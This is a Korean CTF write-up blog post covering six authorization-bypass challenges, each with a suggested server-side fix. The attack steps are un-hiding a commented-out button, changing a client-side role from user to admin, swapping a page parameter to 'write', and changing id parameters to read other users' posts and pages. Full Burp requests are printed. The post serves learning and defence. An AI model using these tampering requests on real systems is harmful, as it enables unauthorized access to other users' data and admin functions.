본문 바로가기

Normaltic 취업반/인증 및 인가 취약점

CTF 풀이 - Authorization Bypass

authorization 1

문제 페이지에 들어가보면 로그인 창부터 뜬다.

주어진 sfUser 계정으로 로그인한다.

로그인하고 페이지에 들어가 보면, 핵미사일 시스템 버튼이 안 보인다.

개발자 도구를 보자.

발사 버튼을 주석처리 해놓은 것이다.

저 주석을 개발자 도구에서 지우면,

버튼이 나온다. 저 [Fire]버튼을 누르기만 하면 FLAG 추출 끝

취약점 및 대응방안

  • 서버가 권한검증 없이 동작하는 기능이 남아있다.
  • 가령 관리자만 사용할 수 있는 기능만을 사용할 것이라면 현재 사용자의 세션이 관리자인지 여부를 확인하고 관리자가 아니면 UI에서 없애는 것 뿐만 아니라 “Fire 요청”이 들어오면 세션/토큰 등을 기반으로 role을 확인하여야 한다.

 

authorization 2

이번에도 위의 문제와 같이 주어진 계정으로 로그인부터 하면

개발자 도구를 살펴보자. 발사 버튼 부분만 떼어놓고 보면 다음과 같이 되어있다.

<a class="btn btn-lg btn-danger" href="#" role="button" onclick="goMenu('1018','user')">Fire</a>

그럼 여기에서 goMenu('1018','user')의 user를 admin으로 바꿔보자.

<a class="btn btn-lg btn-danger" href="#" role="button" onclick="goMenu('1018','admin')">Fire</a>

그리고 발사 버튼을 클릭해보면

취약점

  • 사용자가 얼마든지 조작할 수 있는 role 값을 서버에서 신뢰한다.
  • 권한을 서버에서 검증하는 로직이 없고 오로지 사용자의 입력 값에 의존해버린다.

대응 방안

핵심 : 권한 정보는 요청 파라미터가 아니라 서버가 보유한 인증 상태(세션/토큰)를 기준으로 판단

  • 클라이언트에서 role 값을 받지 않아야 한다.
  • 권한은 서버 세션/토큰에서만 읽어야 함
  • role을 Request 파라미터로 받더라도 무시해야 한다.

authorization 3

위의 authorization 2문제와 완벽히 같다.

개발자 도구의에서 발사버튼 부분의 onclick부분을 조작해버리면 된다.

onclick="goMenu('9999','user')" → onclick="goMenu('9999','admin')"

onclick="goMenu('9999','user')" → onclick="goMenu('9999','admin')"

그리고 발사 버튼을 클릭하면

 

authorization 4

회원가입 → 로그인을 하고 게시판 페이지에 접속해보자.

admin이 쓴 NOTICE라는 글이 있다. 저 글을 우선 클릭해보자.

Burp의 History에서 어떤 요청이 갔는지 보자.

글 상세보기 요청

GET /auth5/index.php?**page=read**&id=1 HTTP/1.1
Host: ctf.segfaulthub.com:3481
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth5/index.php?page=read&id=1>
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=c7f63168f48d80bfad99bdb59adb1089; AUTH2_SESSION=fd46a292112e05c8570a83f1d0a21866; AUTH3_SESSION=fae3e71a48967fe6d749535275e0b890; AUTH4_SESSION=7b50adec8aed27921a8bd467c703aa66
Connection: keep-alive

댓글을 달아보자.

댓글 달기 POST 요청

POST /auth5/index.php?**page=comment_write**&id=1 HTTP/1.1
Host: ctf.segfaulthub.com:3481
Content-Length: 14
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: <http://ctf.segfaulthub.com:3481>
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth5/index.php?page=read&id=1>
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=c7f63168f48d80bfad99bdb59adb1089; AUTH2_SESSION=fd46a292112e05c8570a83f1d0a21866; AUTH3_SESSION=fae3e71a48967fe6d749535275e0b890; AUTH4_SESSION=7b50adec8aed27921a8bd467c703aa66
Connection: keep-alive

content=sfasdf

게시글 조회할 때 요청이 GET /auth5/index.php?**page=read**&id=1 HTTP/1.1라면, 게시글을 쓸 때의 요청은 write일 수도 있다.

그럼 댓글을 달 때 POST요청에서 comment_write 부분을 그냥 **write**로 바꿔보자.

Payload

Request

POST /auth5/index.php?**page=write**&id=1 HTTP/1.1
Host: ctf.segfaulthub.com:3481
Content-Length: 14
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: <http://ctf.segfaulthub.com:3481>
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth5/index.php?page=read&id=1>
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=c7f63168f48d80bfad99bdb59adb1089; AUTH2_SESSION=fd46a292112e05c8570a83f1d0a21866; AUTH3_SESSION=fae3e71a48967fe6d749535275e0b890; AUTH4_SESSION=7b50adec8aed27921a8bd467c703aa66
Connection: keep-alive

content=sfasdf

Response

alert가 뜨면서 Flag값이 나오는 것을 볼 수 있다.

취약점

  • 사용자의 요청으로 전달받는 URL 파라미터를 신뢰해버린다.
  • 공격자는 자신에게 명시적으로(사이트 공식적으로) 허용되는 요청인 page파라미터 중 read, comment_write 값(단어)를 보고 글 쓰기 요청을 할 때 파라미터 값이 무엇인지 쉽게 유추할 수 있다.
  • 핵심은, 서버가 write 기능을 아무나 실행 가능하게 열어두었다는 것이다.

대응방안

  • 글 쓰기 요청(write)을 할 때 Session값을 기반으로 검증해야한다.
  • 현재 로그인해있는 사용자의 Session이 관리자의 것인지 일반 사용자의 것인지 검증하여야 한다.
  • 되도록이면 모든 page 라우팅에 대해 권한 검증을 적용한다.
    • read: 일반사용자 OK
    • comment_write: 일반 사용자 OK
    • write: admin only
  • 가능하면 page라는 파라미터 보다는 /posts/write.php 등의 고정 라우트에 권한 검증(세션/토큰)을 적용하는 것이 좋다.

 

authorization 5

저 2번 글에 있는 내용을 보기만 하면 될 것이다.

일단 클릭해보자.

내가 쓴 글만 읽을 수 있다고 하니, 우선 내가 무엇인가 글을 올려보자.

이 글을 한번 수정을 시도해보자.

그런데 수정 버튼을 눌렀는데, 수정 로직이 처리되는게 아니고 원래 내가 썼던 글 내용으로 돌아간다.

근데, 이 부분을 보고 필자는 이 생각을 했다.

이 페이지는 /auth6/index.php?page=edit&**id=7**이다. 글을 수정하려는 페이지를 열면, 내가 원래 썼던 글의 내용이 나온다.

그럼 /auth6/index.php?page=edit 페이지에 접속하는데 있어 가령 세션을 확인하는 로직이 없는 등 인가 처리가 미흡하다면, /auth6/index.php?page=edit&id=? 에서 id 파라미터를 2로 바꾸면 2번 글의 내용을 볼 수 있을 수도 있다.

그럼 Burp에서 내 글 수정할 때 GET /auth6/index.php?page=edit&id=7 요청을 GET /auth6/index.php?page=edit&**id=2**로 바꿔보자.

Payload

Request

GET /auth6/index.php?page=edit&**id=2** HTTP/1.1
Host: ctf.segfaulthub.com:3481
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth6/index.php?page=read&id=6>
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=c7f63168f48d80bfad99bdb59adb1089; session=06cab263-e8a7-4b4f-a02d-c491f80a7eb8.LMTuFbLS84L2wKpSQKvKoe-M7MA; AUTH2_SESSION=fd46a292112e05c8570a83f1d0a21866; AUTH3_SESSION=fae3e71a48967fe6d749535275e0b890; AUTH4_SESSION=7b50adec8aed27921a8bd467c703aa66
Connection: keep-alive

Response

취약점

  • /auth6/index.php?page=edit 페이지에 접속하는데 있어 id 파라미터 값을 조작하는 것 만으로 edit 페이지에 접속할 수 있다.
  • edit 페이지에 들어오는데 현재 접속해있는 사용자가 N번 id를 가진 사용자가 맞는지 세션 값 등을 확인하는 로직처리를 하는 것 등의 인가 처리가 미흠하다.

대응방안

  • /auth6/index.php?page=edit페이지에 접속할 때 현재 접속해있는 사용자가 N번 id를 가진 사용자가 맞는지 여부를 세션 값 등 통해 확인하는 로직 처리를 해야한다.

EX)

$userid = $_SESSION['userid'];   // 예: "normalitic", "admin"

$post_id = $_GET["id"];
$post_id = (int)$post_id;
$page = $_GET["page"];

$stmt = $con->prepare("SELECT * FROM board WHERE id = ? and user_id = ?");
$stmt->bind_param('is', $post_id, $userid);
$stmt->execute();

$result = $stmt->get_result();
$row = $result->fetch_assoc();

if(!$row) {
		http_response_code(403);
    echo "
        <script>
            alert('남이 쓴 글은 수정할 수 없습니다.');
            history.go(-1);
        </script>
    ";
    exit;
}

authorization 6

개인 정보라면 마이페이지에 있을 것이다. 우선 내 계정의 마이페이지에 접속해보자.

/auth7/index.php?page=mypage&id=3

마이페이지에 접속하는데 있어 id파라미터를 기반으로 접속하는 것으로 보인다.

id는 사용자가 회원가입할 때 auto increment로 부여되는 번호로 보인다.

취약점?

mypage에 접속하는데 있어 id를 그냥 신뢰해버린다면?

다른 사용자도 타 사용자의 MyPage에 접속할 수 있다는 얘기가 될 것이다.

그럼 id파라미터를 관리자의 id번호인 1로 바꿔보자.

Payload

/auth7/index.php?page=mypage&id=1

대응 방안

  • URL파라미터인 id 파라미터를 신뢰하지 말고 세션을 기반으로 마이페이지 접속여부를 확인해야 한다.
  • 세션이 있느냐 없느냐의 여부가 아니라 id파라미터와 현재 로그인 한 사용자의 세션이 해당 id를 가진 사용자인지 여부를 강하게 바인딩 하여야 한다.